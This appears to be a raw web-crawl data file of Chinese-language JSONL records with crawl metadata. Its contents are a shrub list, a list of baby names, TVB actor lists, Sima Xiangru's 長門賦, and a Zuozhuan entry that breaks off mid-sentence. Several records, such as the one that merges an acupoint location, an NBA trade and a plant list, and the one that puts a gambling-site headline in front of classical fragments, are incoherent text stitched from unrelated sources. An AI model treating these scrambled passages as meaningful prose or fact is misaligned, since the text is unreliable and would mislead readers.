目内眦上方1分处。\n可选中1个或多个下面的关键词,搜索相关资料。展开全部本赛季,全明星赛后,2011年2月,老鹰奇才达成五人大交易。但毕比到热火后状态不怎么好,,也被认为是热火首发最薄弱的环节!2、 灌木(59种):牡丹、紫叶李、木槿、百日红(紫薇)、红叶小檗、青叶小檗、黄栌、金枝槐、金叶槐、垂榆、山茱萸、红瑞木、美人梅、红 枫、羽毛枫、青枫、 紫荆、连翘、迎春、云南黄馨、樱花、红梅、绿梅、垂枝梅、银芽柳、贴梗海棠、垂丝海棠、西府海棠、月季(地被月季、丰花月季、藤本月季、微型月季、大花月季)、腊梅,金山绣线菊、金焰绣线菊、珍珠绣线菊,椤木石楠、黄栌,榆叶梅,珍珠梅、木绣球,山桃、红叶桃,碧桃,寿星桃,花石榴,棣棠, 太平花、八仙花、郁李、樱桃、大山樱、结香、丁香、海州常山、金银木、淡竹、箬竹、山梅花、四季锦带、红王子锦带、紫叶矮樱展开全部《广群芳谱》中这样描述木芙蓉:\"清姿雅质,独殿众芳。","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.bouncypro.com\/wentishaonv\/13.html","date":"2019-10-14T00:44:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986648481.7\/warc\/CC-MAIN-20191014003258-20191014030258-00341.warc.gz","language":"lzh","language_score":0.4486069381,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.448606938123703, \"cmn_Hani_score\": 0.3192860186100006, \"wuu_Hani_score\": 0.10551697015762329, \"nan_Hani_score\": 0.07046137005090714, \"jpn_Jpan_score\": 0.05029713734984398}","num_words":495,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.481,"perplexity_score":500.0,"cluster_detection":1} +{"text":"都有异曲同工之妙。从而赋予着公司的文化内涵,为公司起到一个雅而不俗的名字是必要的,众里寻他千百度\"又比如:著名服装企业\"运用古诗词《青玉案.元夕》当中的\"而这时大家运用最多的是结合我国流传着五千年灿烂文化的古诗词当中提取。且很贴切的与创始人初心相吻合。\n来赋予着公司丰富的文化内涵,借用唐诗王维的《相思》等等,红豆集团\"也可以说是公司起名字的宝库。能提高公司整体的形象,端木默沁 端木嘉呗 端木叠蝾 端木怀之 端木镡钦 端木睿珍 端木二菁 端木欢娣 端木桦镪 端木成钢 端木子潇 端木春司 端木楚绮 端木天旋 端木书同 端木禹志 端木淮中 端木皓凯 端木作兵 端木效宇 端木弘韫 端木希航 端木丙泰 端木樱涛 端木宏旷 端木雅枫 端木佳芯 端木傅劝 端木曼冬 端木超豪 端木钱亿 端木波渊 端木剑海 端木楚若 端木舒童 端木熠晗 端木枞将 端木东军 端木全汀 端木承才 端木鸿烁 端木博科 端木希秋 端木采宏 端木飞跃 端木彤擎 端木意智 端木依山 端木小堂 端木海亭 端木桂龙 端木杭航 端木涵钧 端木弘图 端木美珈 端木梳献 端木子熹 端木柏瑾 端木博和 端木子翎 端木丙锟 端木国煜 端木皓洋 端木航舟 端木丙煜 端木宝香 端木泓轩 端木半松 端木光至 端木惠李 端木永望 端木圳生 端木才麟 端木成篮 端木友绿 端木炳正 端木焕茗 端木凡宾 端木涣铭 端木苑陶 端木淳露 端木加菡 端木禾青 端木松远 端木香天 端木芯与 端木翠冬 端木跃福 端木二罡 端木登午 端木含义 端木飞掣 端木蓝键 端木熙诚 端木厚桦 端木洪有 端木芸玫 端木子沐 端木巨砜 端木都瓷 端木丙源 端木宛风 端木津可 端木楚影 端木妤肜 端木康复 端木程夕 端木连彩 端木靖柔 端木宏锦 端木华藏 端木邓锋 端木思栾 端木珊担 端木先迪 端木冬强 端木杭平 端木黉昊 端木贵林 端木本材 端木幽君 端木鸿炎 端木瑜波 端木寒熙 端木靖珍 端木涣杰 端木景余 端木博额 端木禹畅 端木二二 端木孤春 端木金多 端木昌库 端木灵天 端木海诸 端木慧政 端木林昕 端木书泽 端木惜珍 端木以卉 端木炳卿 端木方茵 端木寄文 端木方黔 端木觅易 端木敦畛 端木缜琦 端木泓旭 端木金诘 端木敏超 端木恋敏 端木子绮 端木铭昔 端木戥锌 端木宗浩 端木布诺 端木忻盈 端木衍海 端木又安 端木爱嘉 端木子人 端木晓克 端木柏阳 端木丁齐 端木瑞山 端木凡星 端木丙先 端木勇捷 端木筱穆 端木熙国 端木禧龙 端木雅为 端木凤春 端木夜玉 端木吉凤 端木兴法 端木尨玮 端木斌海 端木语柠 端木淦焕 端木铄月 端木冲伟 端木嘉福 端木向山 端木安莲 端木咏鸽 端木丰信 端木海燃 端木金李 端木智稀 端木子溱 端木冬安 端木宣蓦 端木裘杰 端木勉锌 端木新烟 端木夺曦 端木红玮 端木洪卫 端木孝泽 端木玉宸 端木经翠 端木炳良 端木益臻 端木谷蓝 端木彦勤 端木俊辛 端木欣溶 端木子晋 端木海欧 端木栋滕 端木涵东 端木天麻 端木泓艺 端木以香 端木伽麟 端木涵亮 端木兮驰 端木博特 端木广杰 端木思绪 端木晟鑫 端木道扬 端木海柱 端木访云 端木泓利 端木博师 端木之霜 端木紫易 端木娴敏 端木巧安 端木博砚 端木冬易 端木弘怿 端木廷光 端木海铄 端木广恒 端木惠立 端木航昊 端木煊荧 端木虹玮 端木沣峻 端木延具 端木程子 端木德麟 端木威仑 端木杨志 端木成晟 端木宝芝 端木昊航 端木娑翻 端木柏全 端木忠铃 端木苑杰 端木天灵 端木贺伦 端木传尧 端木治军 端木余波 端木名言 端木涤非 端木玉欢 端木蕴和 端木晓荔 端木林珈 端木冬烟 端木信鸥 端木燚达 端木承渊 端木添新 端木常臻 端木琦蔓 端木虎陈 端木皓瑜 端木尔瀚 端木泫宏 端木荣树 端木昊斌 端木映阳 端木涵远 端木淀君 端木彩尹 端木程今 端木乐圣 端木春焕 端木纪彤 端木昊生 端木英勋 端木敬钰 端木世米 端木诗幸 端木炳明 端木乐鸿 端木书蕾 端木有梧 端木爱枫 端木慧子 端木恩佑 端木丙能 端木博夕 端木洪力 端木富词 端木博懊 端木博育 端木宣淋 端木崇强 端木飞捷 端木琬轩 端木骋骋 端木紊芯 端木宏特 端木唐龙 端木伯林 端木腾媚 端木朝帅 端木雨通 端木也畅 端木尔田 端木沂淳 端木程久 端木丹化 端木东麟 端木长宇 端木子廷 端木胜骏 端木冬勤 端木宏恺 端木丁秤 端木海亦 端木欢珊 端木俊能 端木语阳 端木弘济 端木炳业 端木春素 端木科彤 端木博烟 端木紫苏 端木润笔 端木昌良 端木博予 端木龙锦 端木国盛 端木厚睿 端木川焦 端木祺靖 端木夕昭 端木昌应 端木博钥 端木还龙 端木泓伶 端木官利 端木敦信 端木崇纬 端木岩菁 端木广昊 端木阿涛 端木伦礼 端木华麟 端木忠月 端木传锡 端木子铸 端木依易 端木南雨 端木海泷 端木弼航 端木帆影 端木凤官 端木骉蘅 端木春斯 端木志业 端木贵仙 端木博敏 端木嘉竣 端木嘉延 端木奕延 端木亥珠 端木道金 端木翰韧 端木昊均 端木烽泰 端木成缆 端木訾轩 端木夫国 端木吉棠 端木寒昱 端木昶轩 端木式琦 端木子展 端木东邦 端木奕严 端木鑫麟 端木晓囡 端木傲冰 端木县峰 端木鼎晖 端木馥馨 端木厚添 端木依阳 端木嘉和 端木海蛟 端木丹懿 端木芯楠 端木博铭 端木痴海 端木盂免 端木昊盛 端木易槐 端木向笛 端木灏祖 端木国功 端木光孪 端木刖弦 端木欢姗 端木字君 端木海承 端木凤虎 端木川佑 端木晗昌 端木闻轩 端木崇伟 端木丙天 端木海翥 端木策恒 端木娇群 端木祖光 端木涣茗 端木永戈 端木松瑷 端木筱睿 端木令格 端木是轩 端木高逸 端木昊空 端木宇路 端木汉珠 端木灵松 端木巧智 端木尚修 端木华俭 端木泓灿 端木国铨 端木靖巧 端木子子 端木生帼 端木自君 端木虹伟 端木椿忻 端木博语 端木孤松 端木晶珠 端木翰珠 端木欣愿 端木鲳琛 端木顺曼 端木晓丫 端木志绪 端木泽好 端木向萱 端木亓骞 端木恒帅 端木宗泽 端木博颜 端木惠栗 端木逗豆 端木梵航 端木阳舒 端木泰达 端木宝钤 端木洪起 端木红羽 端木建白 端木红枚 端木惠里 端木涵竺 端木博跃 端木鸿一 端木铂桥 端木笑槐 端木博乐 端木祖航 端木河山 端木红蕊 端木梓婕 端木治超 端木皓祖 端木以秋 端木宗岚 端木殿惠 端木令清 端木春宓 端木柄昂 端木嘉茂 端木莫雅 端木爱兵 端木大重 端木宏玮 端木谷松 端木喜铖 端木惠强 端木德渊 端木怀良 端木言涵 端木博炎 端木丙浩 端木海竹 端木含桃 端木昕宏 端木笑真 端木以蕾 端木溪凡 端木痴安 端木玉多 端木嗣君 端木柯成 端木崇炜 端木航溧 端木琛昱 端木建义 端木厚麟 端木博帅 端木翰中 端木丙尚 端木伽米 端木博毅 端木子期 端木承城 端木曹杰 端木定康 端木成煜 端木崇崴 端木博延 端木鼎人 端木博越 端木翠仙 端木红杨 端木昊非 端木炳帅 端木航航 端木惟嘉 端木君莠 端木兴运 端木鸿严 端木嘉禧 端木恩广 端木科林 端木丙然 端木可巧 端木远云 端木铖越 端木俊圻 端木焕章 端木盈冬 端木雪超 端木春利 端木插体 端木华森 端木世繁 端木瑞浩 端木俊誉 端木叮粒 端木仕祺 端木浩气 端木丙坤 端木翘来 端木涵一 端木宛竹 端木思馨 端木宗皓 端木勇竣 端木爱杰 端木东勤 端木博蔚 端木博末 端木春行 端木芯廷 端木欢育 端木丙胜 端木殿武 端木恨云 端木博铧 端木申棠 端木博荏 端木传菁 端木春思 端木基秀 端木泓研 端木炳领 端木博秧 端木昌骝 端木煦杰 端木姊华 端木诗夏 端木廉雍 端木殿毅 端木淙淙 端木会明 端木广圳 端木倬宁 端木科炬 端木广丫 端木靖晴 端木修瀚 端木昊郓 端木涣明 端木浩非 端木昌赫 端木含意 端木衍领 端木智梁 端木威增 端木育兵 端木宸宁 端木弘伟 端木国薇 端木慧珍 端木淑娣 端木元白 端木高昌 端木初亦 端木程弱 端木町衲 端木鸿远 端木帅滕 端木富天 端木笑凡 端木锯铭 端木正爵 端木焕铭 端木祖奇 端木昊锫 端木颖铨 端木文豹 端木乐白 端木海茱 端木涵珠 端木子钺 端木昊耘 端木丙宝 端木淘宁 端木雁山 端木二淮 端木富子 端木海著 端木栋腾 端木佳肴 端木含山 端木广雨 端木登衫 端木虎成 端木又竹 端木极木 端木瑜佳 端木博否 端木博鸿 端木庆恩 端木雨楚 端木东作 端木秉岳 端木颐聪 端木靖香 端木昌林 端木沣泽 端木承甫 端木培国 端木瑞扬 端木敬明 端木昊通 端木丁灏 端木和蔼 端木博严 端木玫灵 端木博琰 端木鹏鲲 端木海祝 端木沁冰 端木海均 端木培江 端木名锟 端木茂柱 端木语言 端木崇玮 端木英悟 端木香冬 端木泓灵 端木依和 端木利君 端木博夫 端木睿琀 端木子一 端木闰立 端木以发 端木嘉绚 端木亦竹 端木劲强 端木程舒 端木烨林 端木珀浒 端木崇蔚 端木丙扬 端木涵昌 端木司尚 端木易珂 端木博戈 端木慕波 端木洪加 端木洪源 端木荪鸿 端木城鸿 端木春茂 端木泳州 端木博旭 端木炳泰 端木皓轩 端木缊涵 端木泓潇 端木雨熹 端木熠楠 端木烽安 端木广迪 端木惠菊 端木津萌 端木鸿二 端木厚衡 端木洪章 端木利廷 端木惠力 端木慧华 端木月寒 端木芳畅 端木丰伟 端木程耀 端木春泗 端木睿德 端木子熠 端木建邦 端木尊良 端木易绿 端木恒茜 端木菏熘 端木诚浚 端木宝更 端木登秀 端木红仕 端木钱溢 端木淄歆 端木正诚 端木洪韦 端木桐亮 端木皓非 端木馔蟥 端木东才 端木尚帛 端木吟霜 端木登尊 端木一晗 端木梦谦端木智嵚 端木博颇 端木山白 端木博与 端木薇羽 端木海针 端木寻阳 端木海镥 端木博格 端木登斗 端木家朔 端木楚胤 端木瑞财 端木斌昊 端木嘉志 端木辰泽 端木会绵 端木诗密 端木尔超 端木万银 端木睿耘 端木家雄 端木泽醌 端木成喜 端木恩慈 端木方维 端木乘磊 端木字利 端木佳智 端木抒谚 端木昊云 端木红程 端木珈成 端木丙丙 端木柏毅 端木炳厚 端木田歌 端木发耀 端木博展 端木浩漫 端木文辰 端木承佑 端木崇建 端木继领 端木丙东 端木子尚 端木铖跃 端木德枝 端木博宴 端木迪晓 端木俊颢 端木俊萁 端木博秩 端木逸明 端木半山 端木博来 端木晃人 端木昌清 端木群书 端木烨伟 端木得麟 端木丹倪 端木乃泽 端木函贝 端木风宇 端木相辰 端木焓章 端木合昌 端木福麟 端木甫壮 端木惠宸 端木振祁 端木鸿翼 端木吉道 端木红吉 端木毅铭 端木瀚珠 端木绍臣 端木秀堂 端木焓森 端木罗琦 端木存辉 端木俊妤 端木珍祥 比如:百度公司!\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.smartablejob.com\/nanhaiqiming\/855.html","date":"2019-12-10T21:26:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540529006.88\/warc\/CC-MAIN-20191210205200-20191210233200-00196.warc.gz","language":"lzh","language_score":0.6187520623,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6187520623207092, \"cmn_Hani_score\": 0.24653497338294983, \"nan_Hani_score\": 0.0841602310538292, \"jpn_Jpan_score\": 0.024116385728120804}","num_words":844,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.625,"perplexity_score":500.0,"cluster_detection":1} +{"text":"银河电玩城容维证券热点转换权重股活跃为市场注入新动能\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n子曰:\"君子不重则不威,学则不固。主忠信,无友不如己者,过,则勿惮改。\"\n十六年,孔子相鲁。二十年,楚灭顿,灭胡。二十一年,吴王阖闾伐越。越王句践射伤吴王,遂死。吴由此怨越而不西伐楚。\n大馀三十四,小馀一百一十三;大馀四十五,无小馀;\n哀公大父雍,晋昭公少子也,号为戴子。戴子生忌。忌善知伯,蚤死,故知伯欲尽并晋,未敢,乃立忌子骄为君。当是时,晋国政皆决知伯,晋哀公不得有所制。知伯遂有范、中行地,最彊。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/7ghzs.ldjdebtrecovery.com\/MFIWC15551.html","date":"2020-02-27T04:05:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146647.82\/warc\/CC-MAIN-20200227033058-20200227063058-00280.warc.gz","language":"lzh","language_score":0.5895943046,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.589594304561615, \"cmn_Hani_score\": 0.23628143966197968, \"nan_Hani_score\": 0.07961214333772659, \"yue_Hani_score\": 0.019967366009950638, \"wuu_Hani_score\": 0.012828252278268337, \"zxx_Latn_score\": 0.012778830714523792}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.5,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n譚俊彥 曹永廉 姚子羚 湯洛雯 陳凱琳 張振朗 胡諾言 傅嘉莉 張秀文 龔嘉欣 楊玉梅 張穎康 曾敏 李嘉 李日升 譚坤倫 呂珊 陳嘉佳 張國強 蔡國慶 馮素波 吳沚默 吳家樂 袁文傑 郭子豪 範文雅 陳自瑤 陳婉婷 李美慧 何佩珉 葉蒨文 楊詩敏 張彥博 梁舜燕 譚凱琪 黃子恆 李成昌 羅天宇 李綺雯 袁鎮業 郭千瑜 謝雪心 余子明 陳嘉輝 羅樂林 文雪兒 何遠東 杜燕歌 歐瑞偉 李岡龍 煒烈 陳狄克 杜大偉 丁樂鍶 莫偉文 魯振順 莫家淦 胡定欣 李天縱 招浩明 黃耀英 程皓 鄭恕峯 蔡國威 何廣沛\n黃浩然 陳煒 譚俊彥 李施嬅 湯洛雯 朱晨麗 郭子豪 張彥博 謝賢 鄭希怡 鄭俊弘 謝雪心 康華 張文慈 海俊傑 陸詩韻 李美慧 蔡思貝 呂珊 曾偉權 朱匯林 楊柳青 黃耀煌 陳少邦 溫家偉 趙璧渝 謝芷倫 區靄玲 莫家淦 黃祥興 楊潮凱 張曦雯 陳敏之 鮑起靜 張頴康 鄭子誠 陳志健 黎燕珊 古明華 楊證樺 嘉駿 林子超 劉家聰 黃得生 羅蘭 麥玲玲 Kim Robertson 楊玉梅 李龍基 陳嘉桓 李漫芬 袁潔儀 吳香倫 李麗麗 胡美貽 程皓 吳沚默 張本立 林惜貞 吳卓衡 陳康琪 關嘉敏 夏子涓\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n莫家淦 李天縱\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E8%8E%AB%E5%AE%B6%E6%B7%A6------------.html","date":"2020-09-30T10:40:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402123173.74\/warc\/CC-MAIN-20200930075754-20200930105754-00434.warc.gz","language":"lzh","language_score":0.8439637423,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8439637422561646, \"cmn_Hani_score\": 0.07965461909770966, \"nan_Hani_score\": 0.06863927096128464}","num_words":402,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.86,"perplexity_score":500.0,"cluster_detection":1} +{"text":"長門賦 司馬相如\n(2005-12-17 16:30:43)\n下一個\n夫何一佳人兮,步逍遙以自虞。魂逾佚而不反兮,形枯槁而獨居。言我朝往而暮來兮,飲食樂而忘人。心慊移而不省故兮,交得意而相親。伊予誌之慢愚兮,懷貞愨之歡心。願賜問而自進兮,得尚君之玉音。奉虛言而望誠兮,期城南之離宮。修薄具而自設兮,君曾不肯乎幸臨。\n廓獨潛而專精兮,天飄飄而疾風。登蘭台而遙望兮,神恍恍而外淫。浮雲鬱而四塞兮,天窈窈而晝陰。雷殷殷而響起兮,聲象君之車音。飄風回而起閏兮,舉帷幄之襢襢;桂樹交而相紛兮,芳酷烈之訚訚。孔雀集而相存兮,玄猿嘯而長吟。翡翠脅翼而來萃兮,鸞鳳翔而北南。心憑噫而不舒兮,邪氣壯而攻中。\n下蘭台而周覽兮,步從容於深宮。正殿塊以造天兮,鬱並起而穹崇。間徙倚於東廂兮,觀夫靡靡而無窮。擠玉戶以撼金鋪兮,聲噌吰而似鍾音。刻木蘭以為榱兮,飾文杏以為梁。羅豐茸之遊樹兮,離樓梧而相撐。施瑰木之欖櫨兮,委參差以槺梁。時彷佛以物類兮,象積石之將將。五色炫以相曜兮,爛耀耀而成光。致錯石之瓴甓兮,象玳瑁之文章。張羅綺之幔帷兮,垂楚組之連綱。撫柱楣以從容兮,覽曲台之央央。白鶴嘷以哀號兮,孤雌踶襢以於枯楊。日黃昏而望絕兮,悵獨托於空堂。\n懸明月以自照兮,徂清夜於洞房。援雅琴以變調兮,奏愁思之不可長。按流徵以卻轉兮,聲幼妙而複揚。貫曆覽其中操兮,意慷慨而自昂。左右悲而垂淚兮,涕流離而從橫。舒息悒而增欷兮,蹤履起而彷徨。揄長袂以自翳兮,數昔日之愆殃。無麵目之可顯兮,遂頹思而就床。摶芬若以為枕兮,席荃蘭而茝香。忽寢寐而夢想兮,魂若君之在旁。惕寤覺而無見兮,魂迋迋若有亡。眾雞鳴而愁予兮,起視月之精光。觀眾星之行列兮,畢昴出於東方。望中庭之藹藹兮,若季秋之降霜。夜曼曼其若歲兮,懷鬱鬱其不可再更。澹偃蹇而待曙兮,荒亭亭而複明。妾人竊自悲兮,究年歲而不敢忘。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/zh.wenxuecity.com\/myblog\/715\/200512\/4773.html","date":"2021-01-21T16:16:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703524858.74\/warc\/CC-MAIN-20210121132407-20210121162407-00491.warc.gz","language":"lzh","language_score":0.5833260417,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5833260416984558, \"zxx_Latn_score\": 0.10063713788986206, \"nan_Hani_score\": 0.04809865355491638, \"cmn_Hani_score\": 0.03776490315794945, \"und_Xsux_score\": 0.015379265882074833, \"und_Tang_score\": 0.014115714468061924, \"und_Cans_score\": 0.010831128805875778, \"und_Vaii_score\": 0.010794330388307571, \"und_Yiii_score\": 0.010353622026741505}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.285,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 左氏春秋\n,別名。傳魯太史左丘明所作,故曰左氏。左丘明者,魯君子也,孔子友之。或曰長於孔子,以故孔子嘗引其言以自見。丘明又作。\n1. 綜述\n孔子作春秋,以記事為條貫,以大義微言為經緯。然春秋文簡,記何年何月何人何事而已,微言而不佐以實事,則言不具,義不顯,孔子既沒。丘明懼弟子各執其辭,曲孔子之意,故撰春秋十二君、二百四十年之史事,綜諸侯之籍典,以為左氏春秋。至戰國,左氏流布天下,虞卿、韓非、荀子皆嘗稱之,而直名之以「春秋」。秦燔書,以諸侯國史遭燬,賴魯中儒生壁藏之,得存至漢世。漢興,稍稍而出,長沙傅賈誼、東平侯張蒼皆習之,誼亦嘗為之訓诂。又河間獻王好古文,河間國亦嘗立左氏博士焉。\n至魯恭王發孔子宅,破壁得左氏古文簡本,帝使藏于長安秘閣,常人不得見。武帝尊儒術,好公羊春秋,故漢之春秋博士,唯立公羊氏,左氏、榖梁氏皆不得立,私傳民間。\n逮於哀、平,劉歆繼其父向,發校秘府之書,得左氏焉,寶愛之,以為過於諸經,奏哀帝立於學官,遭諸博士力排,不成。是時,丞相蕭望之亦得授左氏焉。\n歆佐王莽,始立古文經,黜今文經,左氏與古文尚書、周官並得立。莽好古道,故終莽之世,古文學大盛。\n漢中興,復立今文,罷古文。然左氏傳習已盛,至不可制。故東京之世,服虔、賈逵、馬融等皆好左氏,虔作左氏傳解誼、逵作春秋左氏傳解詁。\n晉征南將軍杜預,號「左傳癖」,積數十年之功,成春秋經傳集解。由是左氏盛於六朝,而公羊、榖梁俱微焉。\n唐興,孔穎達因杜書,成春秋正義,以為大經,列於五經正義,流布天下,至於日本、朝鮮。\n宋因唐制,亦以左傳為大經,而呂祖謙好之,為作東萊博議,節選左傳之言,以為作文之資。\n左氏之盛,至於元、明亦不廢焉。\n清盛考據,注左傳者十餘家,以洪亮吉春秋左傳詁為特。近世,則以楊伯駿春秋左傳注為宗。\n左氏為文,富於詞藻,詳於史事,長於敘事,善述征戰、會盟之事。其間國君、大夫應對之辭、交接之令,熠熠然也。誠中華千年之要籍、文學之津渡、史學之開祖,雖史遷之材,亦不能過焉。是故歷經千載,人尤寶愛之,論述、注疏之文往往而出,入於教本,習於學堂,雖聖人復出,不能廢也。\n左傳別號「相斫書」,以其長於敘征戰之事也。又有「隱公左傳」之稱,以其卷帙浩繁,人方讀隱公便已昏昏然而欲眠也,故有是名。\n2. 他典\n- 故鄉:左傳是否僞書\n- 春秋左傳全文\n- 四庫全書總目提要 - - 春秋左傳正義\n- 春秋 魯史書也 漢藝文志 有 春秋 古經十二篇 經十一卷 隋唐志 同古經十二篇 十一卷者 本公羊穀梁二家所傳 吳士燮始為之注 隋志 載焉 又有賈逵 春秋 三家經訓詁十二卷 宋三家經二卷 唐志 又有李鉉 春秋 二傳異同十一卷 李 氏 三傳異同例十三卷 馮伉三傳異同三卷 元和國子監修定 春秋\n- 左 氏 春秋 自劉歆條例 鄭眾 賈逵父子 陳元 方服虔注說 咸略誦述 不復按本 劉備定益州 領牧 以為勸學從事 及立太子 以默為僕射以 左氏傳 授太子禪 後主踐阼 拜諫議大夫 丞相亮住漢中 請為軍祭酒 亮薨 還成都 拜太中大夫 卒 三國志 評曰 尹默精于 左 氏 雖不以德業為稱 信皆一時學士\n- 山川形勢 訂一統誌之疏漏 凡五千言 後復上書論禮部四司政體宜沿革者 亦三千言 其文字驁桀 出入諸子百家 自成學派 所至必驚眾 名聲藉藉 顧仕宦不達 年五十 卒於丹陽書院 著有 尚書序大義 大誓答問 尚書馬氏家法 左 氏 春秋 服杜補義 左 氏 決疣 春秋 決事比 定菴詩文集 清史稿 龔鞏祚傳\n- 鄭玄字康成 北海高密人也 少好學 不喜爲官 詣太學受業 受業通 京 氏 易 公羊 春秋 三統歷 九章算術 從張恭祖 通 周官 禮記 左 氏 春秋 韓詩 古文尚書 復師事盧植 馬融 遊學十餘年 耕於東萊 黨錮之禁 玄爲之累 遂杜門不出 靈帝末 大將軍何進嘗辟之 玄不獲已而起 旋\n- 漢龍編侯士燮字威彥 後漢蒼梧廣信人也 其先本魯國汶陽人 至王莽之亂 避地交州 六世至燮父賜 桓帝時為日南太守 燮少遊學京師 事潁川劉子奇 治 左 氏 春秋 察孝廉 補尚書郎 公事免官 父賜喪闋後 舉茂才 除巫令 遷交阯太守 交州刺史朱符為夷賊所殺 州郡擾亂 燮乃表弟壹領合浦太守 次弟 黃有 領九真太守 黃有 弟武領南海太守\n- 春秋 公羊傳者 孔子 春秋 之傳也 與 左 氏 穀梁 並為 春秋 